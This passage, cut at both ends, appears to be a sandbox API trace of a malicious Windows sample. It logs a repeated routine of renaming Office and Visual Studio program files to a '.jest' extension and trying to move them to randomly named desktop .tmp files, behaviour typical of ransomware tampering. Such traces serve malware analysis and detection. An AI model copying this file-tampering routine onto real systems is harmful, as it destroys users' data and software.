IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.094] GetLastError () returned 0x0 [0163.094] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.094] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.jest")) returned 1 [0163.096] GetLastError () returned 0x0 [0163.097] VarBstrFromR4 (in: fltIn=0x47945661, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.76") returned 0x0 [0163.098] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qI3Xjewtxlhkzhn5vx o Y6l91aNI7hFkrBWKibcPcP uVKvdGj634_E MEnKOJOLC7xD5tD4rEqmabTzl4LBsZMSfUGles0tIS9u.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qi3xjewtxlhkzhn5vx o y6l91ani7hfkrbwkibcpcp uvkvdgj634_e menkojolc7xd5td4reqmabtzl4lbszmsfugles0tis9u.tmp")) returned 0 [0163.098] GetLastError () returned 0x2 [0163.098] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="旅", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.098] GetLastError () returned 0x0 [0163.098] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.099] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.jest")) returned 1 [0163.100] GetLastError () returned 0x0 [0163.101] VarBstrFromR4 (in: fltIn=0x47945661, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.76") returned 0x0 [0163.102] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ PB9tQyPs8uwKxB65oGMX4dBdsqH0YGuud8fJSwcSpQWZuxtzBsHOM3PGx_IEPR_35kJvRaLdDzWYvk3yti3YFOliygKCJ43jnB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ pb9tqyps8uwkxb65ogmx4dbdsqh0yguud8fjswcspqwzuxtzbshom3pgx_iepr_35kjvralddzwyvk3yti3yfoliygkcj43jnb.tmp")) returned 0 [0163.102] GetLastError () returned 0x2 [0163.104] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="裂", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.105] GetLastError () returned 0x0 [0163.105] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.105] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.jest")) returned 1 [0163.108] GetLastError () returned 0x0 [0163.109] VarBstrFromR4 (in: fltIn=0x47945663, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.77") returned 0x0 [0163.110] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zR zgf733wqKKXy_O-WKQHU-tqlPjUxu7KqLAp_c WORgLMBxl2I0P1Aho_9fBdKQI9xz3Ikbl WB85reX7_Szdp2h0CgSeObm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zr zgf733wqkkxy_o-wkqhu-tqlpjuxu7kqlap_c worglmbxl2i0p1aho_9fbdkqi9xz3ikbl wb85rex7_szdp2h0cgseobm.tmp")) returned 0 [0163.110] GetLastError () returned 0x2 [0163.111] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="裂", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.111] GetLastError () returned 0x0 [0163.111] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.113] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.jest")) returned 1 [0163.114] GetLastError () returned 0x0 [0163.115] VarBstrFromR4 (in: fltIn=0x47945663, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.77") returned 0x0 [0163.116] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\izSgGn 88RU9Gf3 XSxeEBc6UADAmTc5XI8ZXf-_xAEtM5PDok7Z2emU50hUJiWRlt-v8rXO Si7bKlrPCmFYemnc DZDArA4uvxP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\izsggn 88ru9gf3 xsxeebc6uadamtc5xi8zxf-_xaetm5pdok7z2emu50hujiwrlt-v8rxo si7bklrpcmfyemnc dzdara4uvxp.tmp")) returned 0 [0163.116] GetLastError () returned 0x2 [0163.116] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="侮", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.117] GetLastError () returned 0x0 [0163.117] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.118] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.jest")) returned 1 [0163.122] GetLastError () returned 0x0 [0163.123] VarBstrFromR4 (in: fltIn=0x47945665, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.79") returned 0x0 [0163.124] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kZ__xEM6mGhYSciJzkQA4mXE1Y_qY_mDg_NffVP83f1AzJhy0ckEmO-ynZGvxuF7ufgHtMxhDlxI4og5ol86K4TwacBRYZLOsrOov.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kz__xem6mghyscijzkqa4mxe1y_qy_mdg_nffvp83f1azjhy0ckemo-ynzgvxuf7ufghtmxhdlxi4og5ol86k4twacbryzlosroov.tmp")) returned 0 [0163.124] GetLastError () returned 0x2 [0163.124] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.125] GetLastError () returned 0x0 [0163.125] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.126] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\aboutbox.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\aboutbox.zip.jest")) returned 1 [0163.130] GetLastError () returned 0x0 [0163.130] VarBstrFromR4 (in: fltIn=0x47945665, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.79") returned 0x0 [0163.132] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\aboutbox.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DsnA7xWWGhq647yBl-sodlscSW-Q3ec-Dmh7yobk sPqlUjlhd6ruiwJaqmEl_yoPqdtL6ZkzvTK5FHKbDp6p_pfQzwLw7OHvECF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dsna7xwwghq647ybl-sodlscsw-q3ec-dmh7yobk spqlujlhd6ruiwjaqmel_yopqdtl6zkzvtk5fhkbdp6p_pfqzwlw7ohvecf.tmp")) returned 0 [0163.132] GetLastError () returned 0x2 [0163.132] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.132] GetLastError () returned 0x0 [0163.132] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.133] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfig.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfig.zip.jest")) returned 1 [0163.135] VarBstrFromR4 (in: fltIn=0x47945665, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.79") returned 0x0 [0163.136] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfig.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MwI4w4k9BzhW36XpiAwIL659-OswqgErVFLMDSDNl4wiBE7lOeJM5x0reK_hZQggIT5_zN3FI6AxJUMVYRIoOqOTcn3Vk-87mOxr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mwi4w4k9bzhw36xpiawil659-oswqgervflmdsdnl4wibe7loejm5x0rek_hzqggit5_zn3fi6axjumvyriooqotcn3vk-87moxr.tmp")) returned 0 [0163.137] GetLastError () returned 0x2 [0163.137] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.138] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfiginternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfiginternal.zip.jest")) returned 1 [0163.139] VarBstrFromR4 (in: fltIn=0x47945667, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.8") returned 0x0 [0163.141] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfiginternal.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SOUaD4GPnN9UoYMfl5h7xjTtJZexBu97la fjAU7M6VnQ3J0fOsiJtR06rptu2UI5W75z5-tbkeLEyTFFJkVV9wzGa2qSTNaNtf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\souad4gpnn9uoymfl5h7xjttjzexbu97la fjau7m6vnq3j0fosijtr06rptu2ui5w75z5-tbkeleytffjkvv9wzga2qstnantf.tmp")) returned 0 [0163.141] GetLastError () returned 0x2 [0163.141] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="隸", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.143] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AppConfigurationInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\appconfigurationinternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AppConfigurationInternal.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\appconfigurationinternal.zip.jest")) returned 1 [0163.146] VarBstrFromR4 (in: fltIn=0x47945667, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.8") returned 0x0 [0163.147] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AppConfigurationInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\appconfigurationinternal.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RupDgYpb77u-j2f1u73DwZwmYd4Ptjq9PL6xB5E2cDfhBUsMxyYGPiXyT4_7fNB-qUledbIWpNweu0MYhUfw-8 1ABHb7faPqZ-Tk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rupdgypb77u-j2f1u73dwzwmyd4ptjq9pl6xb5e2cdfhbusmxyygpixyt4_7fnb-quledbiwpnweu0myhufw-8 1abhb7fapqz-tk.tmp")) returned 0 [0163.147] GetLastError () returned 0x2 [0163.148] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.149] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfo.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfo.zip.jest")) returned 1 [0163.151] VarBstrFromR4 (in: fltIn=0x47945667, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.8") returned 0x0 [0163.152] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfo.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E_ED-nzrfL-7be-tRtygkX3gwWeZp5eHMR-cdTl5gRLjK9ACcyxXJmb5Q 3u0YzjyhbJAsoy6uMwXwaBK56lCYd3s_L0Ee48Lty71.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e_ed-nzrfl-7be-trtygkx3gwwezp5ehmr-cdtl5grljk9accyxxjmb5q 3u0yzjyhbjasoy6umwxwabk56lcyd3s_l0ee48lty71.tmp")) returned 0 [0163.152] GetLastError () returned 0x2 [0163.152] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="隸", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.152] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\assemblyinfointernal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\assemblyinfointernal.zip.jest")) returned 1 [0163.154] VarBstrFromR4 (in: fltIn=0x47945667, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.8") returned 0x0 [0163.154] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\assemblyinfointernal.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B38JwzAZgA 8v7UyzGmQV8bKgWPx68dkUR3b45T64yZrP XH6l8qgKskqwW0YOSvs08U6V22SmirwFh oGc5-Y5fZum67iEx9GFS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b38jwzazga 8v7uyzgmqv8bkgwpx68dkur3b45t64yzrp xh6l8qgkskqww0yosvs08u6v22smirwfh ogc5-y5fzum67iex9gfs.tmp")) returned 0 [0163.154] GetLastError () returned 0x2 [0163.155] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.155] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfointernal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfointernal.zip.jest")) returned 1 [0163.157] VarBstrFromR4 (in: fltIn=0x47945669, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.82") returned 0x0 [0163.158] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfointernal.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_l0yGCT48PQNiRQ6pu2v6UGzoKR63afqcNq4nGQFCE87IG0 Ioe1VkjNvRTYQrIUie3I4sR-Uk9I_KGLsGsf MLC snUkjk29Bfjr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_l0ygct48pqnirq6pu2v6ugzokr63afqcnq4ngqfce87ig0 ioe1vkjnvrtyqriuie3i4sr-uk9i_kglsgsf mlc snukjk29bfjr.tmp")) returned 0 [0163.158] GetLastError () returned 0x2 [0163.158] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="隸", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.158] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\class.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\class.zip.jest")) returned 1 [0163.160] VarBstrFromR4 (in: fltIn=0x47945669, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.82") returned 0x0 [0163.160] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 